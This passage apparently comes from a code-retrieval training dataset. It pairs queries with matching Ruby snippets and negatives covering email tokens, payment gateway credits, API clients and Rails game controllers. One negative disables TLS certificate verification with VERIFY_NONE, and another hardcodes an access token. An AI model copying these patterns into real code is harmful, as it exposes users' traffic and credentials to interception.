queries['sr'],\n \"signature\": queries['sig']\n },\n \"url\": azure_response,\n \"unsigned_url\": ET3::Test::AzureHelpers.configured_test_client.blob_client.generate_uri(\"et3-direct-bucket-test/#{key}\")\n },\n \"meta\": {\n \"cloud_provider\": \"azure\"\n },\n \"status\": \"accepted\",\n \"uuid\": SecureRandom.uuid\n }.to_json\n )\n end", "def create\n @blob = Blob.new(blob_params)\n\n respond_to do |format|\n if @blob.save\n format.html { redirect_to @blob, notice: 'Blob was successfully created.' }\n format.json { render :show, status: :created, location: @blob }\n else\n format.html { render :new }\n format.json { render json: @blob.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Retrieve email_token from mail
def email_token recipient = mail.recipients.find { |r| MATCHER.match?(r) } recipient[MATCHER, 1] end
[ "def extract_token_from_email(token_name)\n mail_body = last_email.body.to_s\n mail_body[/#{token_name.to_s}_token=([^\"]+)/, 1]\n end", "def extract_token_from_email(token_name)\n mail_body = last_email.body.to_s\n mail_body[/#{token_name.to_s}_token=([^\"]+)/, 1]\n end", "def get_token_from_email(message)\n token_regex = %r/\\/([a-zA-Z0-9\\-_]{22})\\//\n\n text_body = message.text_part.body.raw_source\n\n matches = token_regex.match(text_body)\n matches.captures[0]\n end", "def read_user_emailtoken(emailtoken)\n filter = Net::LDAP::Filter.eq(ENTITY_ATTR_MAPPING[:emailtoken].to_s, emailtoken)\n return search_map_user_fields(filter, 1)[0]\n end", "def get_email_verification_token(email)\n if isNullOrWhiteSpace(email)\n raise LoginRadius::Error.new, getValidationMessage('email')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n body_parameters = {}\n body_parameters['email'] = email\n\n resource_path = 'identity/v2/manage/account/verify/token'\n post_request(resource_path, query_parameters, body_parameters)\n end", "def get_email_address\n if access_token\n decoded_token_array = JWT.decode access_token, nil, false\n # First item of the array is the payload of the JWT encoded token. \"sub\" is the key of email value\n email_address = decoded_token_array.first.fetch('sub')\n else\n email_address = nil\n end\n\n email_address\n end", "def token\n @token ||= @mail.header['X-ITRP-Export'].try(:value)\n end", "def find_onverify_email(email, token)\n\t\t\t\tresult = @helper.find_one({email: email, isActive: 0, memberUUId: token}, 'registeredTime')\n\t\t\t\treturn {type: 1, status: false} if result == nil\n\t\t\t\ttime_diff = Time.now.to_i - result['registeredTime'].to_i\n\t\t\t\treturn {type:2, status: false} unless time_diff > 0 and time_diff < Ash::Disposition::COMMON_EMAIL_TOKEN_EXPIRES\n\t\t\t\t{type: 0, status: true}\n\t\t\tend", "def find_onverify_email(email, token)\n\t\t\t\tresult = @helper.find_one({email: email, isActive: 0, uuidToken: token}, 'startTime')\n\t\t\t\treturn {type: 1, status: false} if result == nil\n\t\t\t\ttime_diff = (Time.now.to_i - result['startTime'].to_i)\n\t\t\t\treturn {type:2, status: false} unless time_diff > 0 and time_diff < Ash::Disposition::COMMON_EMAIL_TOKEN_EXPIRES\n\t\t\t\t{type: 0, status: true}\n\t\t\tend", "def get_token\n test_token= '5j1znBVAsnSf5xQyNQyq'\n get_config('PM25_IN_TOKEN', test_token)\n end", "def get_token\n xml = XmlSimple.xml_in(TOKEN_FILE)\n content = xml['head'][0]['meta'][0]['content']\n File.delete(TOKEN_FILE) if File.exists?(TOKEN_FILE)\n content.match(/auth_token=(\\w+)/)[1]\nend", "def get_email(email)\n self.api_get(:email, {:email => email})\n end", "def generate_email_authentication_token\n token = generate_token\n update(email_verification_token: BCrypt::Password.create(token))\n token\n end", "def get_email_from_access_token(google_access_token)\n data= {\n :access_token => google_access_token,\n :fields => 'email' # specify we only want the email\n } \n r = RestClient.post GOOGLE_OAUTH_TOKEN_VALIDATION_URL, data\n json = JSON.parse(r.body)\n puts \"\\n#{json['email']}\\n\"\n json['email']\nend", "def email_verification(email)\n params={'email':email}\n get_request('emailVerification?'+get_url_parameters(params)).body\n end", "def get_raw_token_identity(token,options={})\n response = els_http_request(\"/attributes\",\"subjectid=#{token}\",options)\n if response.code.eql? \"200\"\n response.body\n else\n response.error!\n end\n end", "def email_address\n authentications.emails.active.first.uid rescue nil\n end", "def lookup_by_email(email, token)\n return nil if email.blank?\n\n ## Create URI\n uri = get_slack_api_url() + '/users.lookupByEmail'\n\n ## Create http header\n header = {}\n header['Content-Type'] = 'application/json; charset=UTF-8'\n header['Authorization'] = \"Bearer #{token}\"\n https_proxy = ENV['https_proxy'] || ENV['HTTPS_PROXY']\n\n ## Create http query\n query = {}\n query['email'] = email\n\n ## Get http response\n res = nil\n begin\n client = HTTPClient.new(https_proxy)\n client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = client.get uri, :query => query, :header => header\n rescue Exception => e\n Rails.logger.warn(\"Cannot connect to #{url}\")\n Rails.logger.warn(e)\n end\n\n return nil if res.nil?\n return nil if res.status_code.nil?\n return nil unless res.status_code == 200\n return nil if res.http_body.nil?\n return nil if res.http_body.content.nil?\n\n begin\n res_body = JSON.parse(res.http_body.content)\n rescue Exception => e\n Rails.logger.warn(\"Cannot parse JSON string: #{res.http_body.content}\")\n Rails.logger.warn(e)\n end\n\n return nil if res_body['ok'].nil?\n return nil unless res_body['ok']\n return nil if res_body['user'].nil?\n return nil if res_body['user']['id'].nil?\n\n return res_body['user']['id']\n end", "def extract_token\n @oauth_token.to_hash if @oauth_token\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Creates a new SlimcdGateway The gateway requires that valid credentials be passed in the +options+ hash. ==== Options :client_id Assigned by the Slim CD administrator. (REQUIRED) :site_id Assigned by the Slim CD administrator. (REQUIRED) :price_id Assigned by the Slim CD administrator. (REQUIRED) :password Plaintext password for the client account. (REQUIRED) :key SDK developer key obtained from Slim CD, Inc. (REQUIRED)
def initialize(options = {}) requires!(options, :client_id, :site_id, :price_id, :password, :key) @options = options super end
[ "def new_client(options = { })\n c = DirectClient.new(OPTIONS.merge(options))\n if block_given?\n yield(c)\n else\n c\n end\n end", "def client\n return @client if instance_variable_defined?(:@client) && @client.hash == options.hash\n @client = DeskApi::Client.new(options)\n end", "def initialize(**options)\n @api_client = PayPoint::Blue::API.new(**options)\n super\n end", "def initialize(options = {})\n @key = options[:key] || (options[:key_file] && File.read(options[:key_file]))\n @username = options[:username]\n @ip = options[:ip]\n @proxy = options[:proxy]\n @api_version = options[:api_version]\n @api_service = options[:api_service]\n raise ArgumentError, \"The :username, :ip and :key options are required!\" if @username.nil? or @key.nil?\n\n @mode = options[:mode] || :readonly\n @endpoint = options[:endpoint] || 'api.transip.nl'\n if options[:password]\n @password = options[:password]\n end\n\n @savon_options = {\n :wsdl => wsdl\n }\n # if proxy is present, use it\n if @proxy != nil\n\t @savon_options[:proxy] = @proxy\n\t end\n # By default we don't want to debug!\n self.turn_off_debugging!\n end", "def initialize(options = {})\n @key = options[:key]\n @username = options[:username]\n @ip = options[:ip]\n raise ArgumentError, \"The :username, :ip and :key options are required!\" if @username.nil? or @key.nil?\n\n @mode = options[:mode] || :readonly\n @endpoint = options[:endpoint] || 'api.transip.nl'\n if options[:password]\n @password = options[:password]\n end\n @savon_options = {\n :wsdl => WSDL\n }\n # By default we don't want to debug!\n self.turn_off_debugging!\n end", "def initialize(options = {})\n options = options.with_indifferent_access\n self.test_mode = options.has_key?(:test_mode) ? options[:test_mode] : true\n @_authorize_net_cim = GatewayConfiguration.new(options[:authorize_net_cim]) if options[:authorize_net_cim]\n @_ipcommerce = GatewayConfiguration.new(options[:ipcommerce]) if options[:ipcommerce]\n @_nmi_customer_vault = GatewayConfiguration.new(options[:nmi_customer_vault]) if options[:nmi_customer_vault]\n @_bogus = GatewayConfiguration.new(options[:bogus]) if options[:bogus]\n @ca_file = File.expand_path('../../ext/cacert.pem', __FILE__)\n end", "def initialize(options = {})\n @services = { }\n\n settings = Config.client_settings(options)\n\n # pick up the username from the options, the global, or assume no username\n @username = settings[:username]\n\n # do a similar thing for the api key\n @api_key = settings[:api_key]\n\n # grab token pair\n @userId = settings[:userId]\n @authToken = settings[:authToken]\n\n # and the endpoint url\n @endpoint_url = settings[:endpoint_url] || API_PUBLIC_ENDPOINT\n\n # set the user agent to the one provided, or set it to a default one\n @user_agent = settings[:user_agent] || \"softlayer_api gem/#{SoftLayer::VERSION} (Ruby #{RUBY_PLATFORM}/#{RUBY_VERSION})\"\n\n # and assign a time out if the settings offer one\n @network_timeout = settings[:timeout] if settings.has_key?(:timeout)\n\n raise \"A SoftLayer Client requires an endpoint URL\" if !@endpoint_url || @endpoint_url.empty?\n end", "def initialize(options = {})\n requires!(options, :applogin, :conntkt) \n\n @options = {\n :pem => QuickbooksMerchantServiceGateway.pem_file\n }.update(options)\n\n raise ArgumentError, \"You need to pass in your pem file using the :pem parameter or set it globally using ActiveMerchant::Billing::QuickbooksMerchantServiceGateway.pem_file = File.read( File.dirname(__FILE__) + '/../mycert.pem' ) or similar\" if @options[:pem].blank?\n\n # Set the gateway mode, default to test.\n Base.gateway_mode = @options[:gw_mode].to_sym ||= :test\n super\n end", "def initialize(options={})\n # unless options[:account] && options[:secret]\n # raise \"Client requires :account => <account name> and :secret => <secret>\"\n # end\n \n @account = options[:account]\n @secret = options[:secret]\n \n @secure = options[:secure] != false # must pass false for insecure\n \n @document_id_method = options[:document_id_method]\n end", "def initialize(options)\n @options = ClientOptions.new(options)\n end", "def initialize(options = {})\n raise ArgumentError.new('Options hash required') unless options.is_a?(Hash)\n\n @client_id = options[:client_id]\n @api_key = options[:api_key]\n @api_secret = options[:api_secret]\n end", "def initialize options\n @client_identifier = options.delete(:client_identifier) or raise ArgumentError.new(\"No :client_identifier given\")\n @bridge_secret = options.delete(:bridge_secret) or raise ArgumentError.new(\"No :bridge_secret given\")\n\n @checkdin_landing_url = options.delete(:checkdin_landing_url) || CHECKDIN_DEFAULT_LANDING\n\n end", "def initialize(options)\n @client_options = options.merge(client: self)\n end", "def initialize(opt=nil)\n raise \"The option :security_code was required.\" unless opt.include?(:security_code)\n raise \"The option :your_domain was required.\" unless opt.include?(:yourdomain)\n raise \"The option :merchantAcctId was required.\" unless opt.include?(:merchantAcctId)\n raise \"The option :bgUrl was required.\" unless opt.include?(:bgUrl)\n\n set_attributes(opt)\n service_url = opt[:service_url].prescence || \"https://www.99bill.com/gateway/recvMerchantInfoAction.htm\"\n end", "def initialize options = {}\n @config = options[:config]\n @config ||= AWS.config\n @config = @config.with(options)\n @client = config.send(Inflection.ruby_name(self.class.to_s) + '_client')\n end", "def create_client(options = {})\n post(:clients, clients: [options]).pop\n end", "def void_client\n @void_client ||= SimpleShipping::Ups::VoidClient.new(\n :credentials => options.slice(:username, :password, :access_license_number),\n :log => options[:log],\n :live => options[:live]\n )\n end", "def initialize(options = {})\n @merchant_id = options[:merchant_id]\n raise ArgumentError.new(\":merchant_id is required\") unless self.merchant_id\n self.environment = options[:environment] || DEFAULT_ENVIRONMENT\n @password = options[:password]\n raise ArgumentError.new(\":password is required\") unless self.password\n @sign_key = options[:sign_key] || DEFAULT_SIGN_KEY\n @proxy = options[:proxy] || {}\n end", "def initialize( aws_access_key_id, aws_secret_access_key, options = {} )\n @aws_access_key_id, @aws_secret_access_key = aws_access_key_id, aws_secret_access_key\n opts = DEFAULT_SQS_OPTIONS.merge(options)\n @endpoint = opts[:endpoint]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Credit an account. This transaction is also referred to as a Refund and indicates to the gateway that money should flow from the merchant to the customer. ==== Parameters money The amount to be credited to the customer. Either an Integer value in cents or a Money object. identification The ID of the original transaction against which the credit is being issued. options A hash of parameters. ==== Options :card_number The credit card number the credit is being issued to. (REQUIRED)
def credit(money, identification, options = {}) post = { :gateid => identification } commit('CREDIT', money, post) end
[ "def credit(money, identification, options = {})\n requires!(options, :card_number)\n\n post = { :ref_trans_id => identification,\n :card_num => options[:card_number]\n }\n add_invoice(post, options)\n\n commit('CREDIT', money, post)\n end", "def credit(money, identification, options = {})\n requires!(options, :card_number)\n\n post = { :trans_id => identification,\n :card_num => options[:card_number]\n }\n add_invoice(post, options)\n\n commit('CREDIT', money, post)\n end", "def credit(money, authorization, options = {})\n requires!(options, :order_id)\n requires!(options, :pasref)\n \n request = build_credit_request(money, authorization, options)\n commit(request, :default, options)\n end", "def credit(money, creditcard, options = {})\n if creditcard.is_a?(String)\n raise ArgumentError, \"Reference credits are not supported. Please supply the original credit card or use the #refund method.\"\n end\n\n form = {}\n add_invoice(form, options)\n add_creditcard(form, creditcard)\n add_address(form, options)\n add_customer_data(form, options)\n add_test_mode(form, options)\n commit(:credit, money, form)\n end", "def credit(money, identification, options = {})\n requires!(options, :token, :created_at)\n token, created_at = options.delete(:token), options.delete(:created_at)\n if (Time.now - (created_at || Time.now)) >= SIXTY_DAYS_AGO\n target = build_standalone_credit_request(money, token, options)\n else\n target = build_credit_request(money, identification, options)\n end\n commit(target, options)\n end", "def credit(money, creditcard, options = {})\n raise ArgumentError, 'Reference credits are not supported. Please supply the original credit card' if creditcard.is_a?(String)\n\n form = {}\n add_invoice(form, options)\n add_creditcard(form, creditcard)\n add_address(form, options)\n add_customer_data(form, options)\n add_test_mode(form, options)\n commit(:credit, money, form)\n end", "def credit(money, payment_object, options = {})\n\tpost = {}\n if payment_object != nil && payment_object.class() != String\n payment_object.class() == ActiveMerchant::Billing::Check ?\n add_check(post, payment_object) :\n add_creditcard(post, payment_object)\n\t post[:TRANSACTION_TYPE] = 'CREDIT'\n else\n post[:RRNO] = payment_object\n\t post[:TRANSACTION_TYPE] = 'REFUND'\n end\n\tpost[:MODE]\t\t = $options[:transaction_mode]\n\tpost[:TAMPER_PROOF_SEAL] = calc_tps(amount(money), post)\n add_invoice(post, options)\n add_address(post, options)\n add_customer_data(post, options)\n commit(money, post)\n end", "def credit(money, authorization, options={})\n deprecated CREDIT_DEPRECATION_MESSAGE\n refund(money, authorization, options)\n end", "def credit(money, source, options = {})\n if card_brand(source) == \"check\"\n virtual_check.credit(money, source, options)\n else\n bankcard.credit(money, source, options)\n end\n end", "def credit(money, reference_or_credit_card, options = {})\n if reference_or_credit_card.is_a?(String)\n deprecated CREDIT_DEPRECATION_MESSAGE\n refund(money, reference_or_credit_card)\n else\n request = build_refund_request(money, reference_or_credit_card, options)\n commit(request)\n end\n end", "def credit(amount = nil, options = {})\n execute(:credit, {:amount => amount || self.amount}.reverse_merge(options))\n end", "def authorize(money, creditcard, options = {})\n requires!(options, :cred_type, :myid)\n commit('authorize', money, creditcard, options)\n end", "def credit! amount, options\n if hpp_payment? || adyen_cc_payment?\n process { payment_method.credit(amount, response_code, options) }\n else\n fail NotImplementedError, \"Spree::Payment does not implement credit!\"\n end\n end", "def refund(money, identification, options = {})\n requires!(options, :card_number)\n\n post = { trans_id: identification,\n card_num: options[:card_number] }\n\n post[:first_name] = options[:first_name] if options[:first_name]\n post[:last_name] = options[:last_name] if options[:last_name]\n post[:zip] = options[:zip] if options[:zip]\n\n add_invoice(post, options)\n add_duplicate_window(post)\n\n commit('CREDIT', money, post)\n end", "def credit(amount, authorization, options={})\n adjust_and_save(amount.abs, :credit, {:authorization => authorization}.merge(options))\n end", "def authorize(money, creditcard, options = {})\n reset\n end", "def credit(money, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Credit process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.debit_request\n set_initial_request_parameters(request)\n set_amount_request_parameters(request, '-' + money.to_s, gateway_options)\n set_payment_process_parameters(request, response_code)\n set_sequence_request_parameters(request, response_code)\n \n response = process_request request, payment_method_options\n payment_provider_response response\n end", "def PerformCredit(request, response)\n request.Set(GatewayRequest::TRANSACTION_TYPE, \"CC_CREDIT\");\n\n#\n#\tIf this is a reference GUID, send the transaction to\n#\tthe appropriate server. Otherwise use the normal\n#\ttransaction distribution.\n#\n referenceGUID = request.Get(GatewayRequest::REFERENCE_GUID)\n if (referenceGUID != nil) # Have reference?\n results = self.PerformTargetedTransaction(request, response)\n else\n results = self.PerformTransaction(request, response)\n end\n return results # Return results\n end", "def purchase(money, credit_card, options = {})\n if credit_card.respond_to?('number')\n requires!(options, :email) unless options[:account_uri]\n end\n\n post = {}\n post[:amount] = money\n post[:description] = options[:description]\n\n create_or_find_account(post, options)\n add_credit_card(post, credit_card, options)\n add_address(credit_card, options)\n\n create_transaction(:post, @debits_uri, post)\n rescue Error => ex\n failed_response(ex.response)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
return pointer for use with pack('L')
def str_to_ptr(v) [v].pack('p*').unpack('L')[0] end
[ "def pack(p0) end", "def unpack_pointer(packed_pointer)\n if is_64bit\n # Assume little endian\n packed_pointer.unpack('Q<')[0]\n else\n packed_pointer.unpack('V')[0]\n end\n end", "def byte_pointer; end", "def long_to_pointer(long)\n long < 0 ? long + (2 ** LPARAM_BITS) : long\n end", "def get_ulong\n get(4).unpack('L')\n end", "def p_ulong64\n FFI::MemoryPointer.new :uint64\n end", "def p_ulong64\n MemoryPointer.new :uint64\n end", "def unpack(p0) end", "def allocate_result(len)\n check_error(len)\n Fiddle::Pointer[(\" \" * len)]\n end", "def to_b32; unpack(\"N\").first; end", "def to_ptr\n ptr\n rescue MessageFrameClosed\n FFI::Pointer::NULL\n end", "def pack_int64le(val); end", "def pack(arg)\n [self].pack(arg)\n end", "def deref(ptr)\n @image[ptr, DWORD_SIZE].unpack(\"L\").first\n end", "def dump_as_c_int(i)\r\n [i].pack('l')\r\nend", "def ffi_managed_struct; end", "def pointer\n LLVM::Pointer(@type)\n end", "def do_packed_real(length)\n\t\t@ida.doPackReal(@offset, length)\n\tend", "def raw_bytes(int)\n [int].pack(\"L\")\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Delivers integer of sum number of equipments owned by character instance
def total_items items = Inventory.where(character_id: self.id) items.size end
[ "def attack\n atk = 0\n count = 0\n ship_items.each do | itm |\n if itm.equiped\n if (itm.item.attack_w > 0)\n atk += itm.item.attack_w\n count+=1\n end\n end\n end\n mods = get_crew_mods\n atk += mods[:attack]*count\n if count == 0\n count = 1\n end\n return atk/count\n end", "def pool_acts_equip_mod\n return 0 if battler.nil? || !battler.is_a?(Game_Actor)\n battler.equips.inject(0) do |sum,e| \n mod = e.nil? ? 0 : (e.pool_acts_mod ||= 0)\n sum += mod\n end\n end", "def battlers_number\n return @battlers_number.sum\n end", "def weapon_bonus\n equipped_weapons.map(&:damage).reduce(0, :+)\n end", "def total_inventory_count\n products.map(&:current_inventory_count).sum\n end", "def evaluate(player)\n (pieces[player].count - pieces[other_player(player)].count)*10\n end", "def battle_item_size\n return @battle_items_cache if @battle_items_cache != nil\n @battle_items_cache = 0\n for item in items\n next unless item_can_use?(item)\n @battle_items_cache += 1\n end\n return @battle_items_cache\n end", "def weapon_number(weapon_id)\n # If quantity data is in the hash, use it. If not, return 0\n weapons = @weapons.select { |weapon|\n weapon.id == weapon_id\n }\n return weapons.length\n end", "def remaining_slots\n @count = 0\n self.booked_customers.each do |booked_customer|\n @count += booked_customer.number_students.to_i\n end\n return self.cap - @count\n\n end", "def inventory_count\n @inventory.count\n end", "def strength\n players.map{|p| p.strength}.reduce{|sum,n| sum + n}\n end", "def count_ai_battler\n count = -1\n @battle_info.parties.each do |bank|\n count += bank.size\n end\n log_debug(\"Found #{count} AI\")\n return count\n end", "def quantity(player)\n carrying = player.equipment.detect{ |e| e[:id] == id }\n allowed = \\\n if adds == :life && disposable?\n if amount > player.max_life && player.life < player.max_life\n 1\n else\n ((player.max_life - (player.life - (player.life % amount))) / amount).ceil\n end\n else\n if carrying\n (limit - carrying[:quantity])\n else\n limit\n end\n end\n allowed\n end", "def current_inventory_count\n @sodas.length\n end", "def evasion\n eva = 0\n ship_items.each do | itm |\n if itm.equiped\n eva += itm.item.evasion_w\n end\n end\n mods = get_crew_mods\n eva *= mods[:evasion]\n return eva / 100\n end", "def report_card_count\n total = 0\n self.oi_instructions.each { |inst| total += inst.report_card_count }\n total\n end", "def health_total\n soldiers_alive.map { |soldier| soldier[:health] }.inject(0) { |a, e| a + e }\n end", "def num_roles_played\n character_credits.size\n end", "def quantity\n consumables.size\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /bestgames/1 GET /bestgames/1.json
def show @bestgame = Bestgame.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @bestgame } end end
[ "def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def index\n @games = Game.all\n render json: @games, status: 200\n end", "def index\n @games = Game.all\n render json: @games\n end", "def show\n @bettergame = Bettergame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bettergame }\n end\n end", "def show\n @game = @game_week.games.find(params[:id])\n render json: @game\n end", "def index\n @resource_games = Resource::Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_games }\n end\n end", "def index\n @mygames = Mygame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mygames }\n end\n end", "def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end", "def index\n @boardgames = Boardgame.all\n render json: @boardgames \n end", "def show\n @team_game = TeamGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_game }\n end\n end", "def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end", "def show\n render json: @games_leaderboards_score\n end", "def show\n @tournament_game = TournamentGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tournament_game }\n end\n end", "def show\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameplay }\n end\n end", "def index\n\t\t@games = Game.all\n\t\trespond_to do |format|\n\t\t\tformat.html do \n\t\t\t\trender :index\n\t\t\tend\n\t\t\tformat.json do\n\t\t\t\trender :json => {games: Game.to_json}\n\t\t\tend\n\t\tend\n\tend", "def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end", "def get_games \n conn = open(\"http://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key=#{API_KEY}&steamid=#{@steamid}&format=json\")\n json_hash = JSON.parse(conn.read)\n games_hash = json_hash[\"response\"][\"games\"]\n @games = games_hash.map { |hash| hash[\"appid\"] }\n end", "def show\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spreadapedia_game }\n end\n end", "def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /bestgames POST /bestgames.json
def create @bestgame = Bestgame.new(params[:bestgame]) respond_to do |format| if @bestgame.save format.html { redirect_to @bestgame, notice: 'Bestgame was successfully created.' } format.json { render json: @bestgame, status: :created, location: @bestgame } else format.html { render action: "new" } format.json { render json: @bestgame.errors, status: :unprocessable_entity } end end end
[ "def create\n game = Game.create(game_params)\n render json: game, status: 201\n end", "def create\n g = SpreadapediaGames.new(params[:spreadapedia_games])\n g.line_result(params[:spreadapedia_games][:lresult])\n g.overunder_result(params[:spreadapedia_games][:ouresult])\n g.save()\n\n respond_to do |format|\n format.html { redirect_to '/spreadapedia_games/new', notice: 'Spreadapedia game was successfully created.' }\n format.json { render json: @spreadapedia_game, status: :created, location: @spreadapedia_game }\n end\n end", "def create\n @team_game = TeamGame.new(params[:team_game])\n\n respond_to do |format|\n if @team_game.save\n format.html { redirect_to @team_game, notice: 'Team game was successfully created.' }\n format.json { render json: @team_game, status: :created, location: @team_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @team_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bet_game = Bet::Game.new(bet_game_params)\n\n respond_to do |format|\n if @bet_game.save\n format.html { redirect_to @bet_game, notice: \"Game was successfully created.\" }\n format.json { render :show, status: :created, location: @bet_game }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bet_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @player_games = PlayerGame.update(permit_player_game_params[\"away_team_player_games\"].keys, permit_player_game_params[\"away_team_player_games\"].values)\n\n respond_to do |format|\n if @player_games\n format.html { redirect_to game_path(@player_games.first.game_id), notice: 'Player stats were successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { redirect_to games_path, notice: 'Game was unable to be created.' }\n format.json { render json: @player_games.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @saved_game = SavedGame.new(saved_game_params)\n\n respond_to do |format|\n if @saved_game.save\n format.html { redirect_to @saved_game, notice: 'Saved game was successfully created.' }\n format.json { render :show, status: :created, location: @saved_game }\n else\n format.html { render :new }\n format.json { render json: @saved_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tournament_game = TournamentGame.new(params[:tournament_game])\n\n respond_to do |format|\n if @tournament_game.save\n format.html { redirect_to @tournament_game, notice: 'Tournament game was successfully created.' }\n format.json { render json: @tournament_game, status: :created, location: @tournament_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tournament_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def create\n @mini_game = MiniGame.new(mini_game_params)\n if @mini_game.save\n render json: @mini_game, status: :ok\n else\n render json: @mini_game.errors, status: :unprocessable_entity\n end\n end", "def create\n @games_boardgame = Games::Boardgame.new(games_boardgame_params)\n\n respond_to do |format|\n if @games_boardgame.save\n format.html { redirect_to @games_boardgame, notice: 'Boardgame was successfully created.' }\n format.json { render :show, status: :created, location: @games_boardgame }\n else\n format.html { render :new }\n format.json { render json: @games_boardgame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @games_team = GamesTeam.new(games_team_params)\n\n respond_to do |format|\n if @games_team.save\n format.html { redirect_to @games_team, notice: 'Games team was successfully created.' }\n format.json { render :show, status: :created, location: @games_team }\n else\n format.html { render :new }\n format.json { render json: @games_team.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gamesofweek = Gamesofweek.new(gamesofweek_params)\n\n respond_to do |format|\n if @gamesofweek.save\n format.html { redirect_to @gamesofweek, notice: 'Gamesofweek was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gamesofweek }\n else\n format.html { render action: 'new' }\n format.json { render json: @gamesofweek.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game = Game.where(user_id: current_user.id).find(params[:game_id])\n @round = @game.rounds.build(params[:round])\n\n @round.determine_scores\n @game.rounds << @round unless @round.invalid?\n\n @game.determine_winner @round\n\n respond_to do |format|\n if @game.save\n\n url = if @game.completed?\n finish_game_url(@game)\n else\n game_rounds_url(@game)\n end\n\n\n format.html { redirect_to url, notice: 'Round was successfully created.' }\n format.json { render json: @round, status: :created, location: @round }\n else\n #if the round failed to create, we want to render the index with the failed round\n @rounds = @game.rounds\n format.html { render action: \"index\" }\n format.json { render json: @round.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nfl_teams = NflTeam.all\n @nfl_game = NflGame.new(params[:nfl_game])\n\n respond_to do |format|\n if @nfl_game.save\n format.html { redirect_to @nfl_game, notice: 'Nfl game was successfully created.' }\n format.json { render json: @nfl_game, status: :created, location: @nfl_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nfl_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usergame = Usergame.new(usergame_params)\n\n respond_to do |format|\n if @usergame.save\n format.html { redirect_to @usergame, notice: 'Usergame was successfully created.' }\n format.json { render :show, status: :created, location: @usergame }\n else\n format.html { render :new }\n format.json { render json: @usergame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @playedgame = Playedgame.new(playedgame_params)\n\n respond_to do |format|\n if @playedgame.save\n format.html { redirect_to @playedgame, notice: 'Playedgame was successfully created.' }\n format.json { render :show, status: :created, location: @playedgame }\n else\n format.html { render :new }\n format.json { render json: @playedgame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @league_game = LeagueGame.new(league_game_params)\n\n respond_to do |format|\n if @league_game.save\n format.html { redirect_to @league_game, notice: 'League game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @league_game }\n else\n format.html { render action: 'new' }\n format.json { render json: @league_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nba_game = NbaGame.new(params[:nba_game])\n ap params\n ap @nba_game\n\n respond_to do |format|\n if @nba_game.save\n format.html { redirect_to @nba_game, :notice => 'Nba game was successfully created.' }\n format.json { render :json => @nba_game, :status => :created, :location => @nba_game }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @nba_game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @gameplay = Gameplay.new(params[:gameplay])\n\n respond_to do |format|\n if @gameplay.save\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully created.' }\n format.json { render json: @gameplay, status: :created, location: @gameplay }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PUT /bestgames/1 PUT /bestgames/1.json
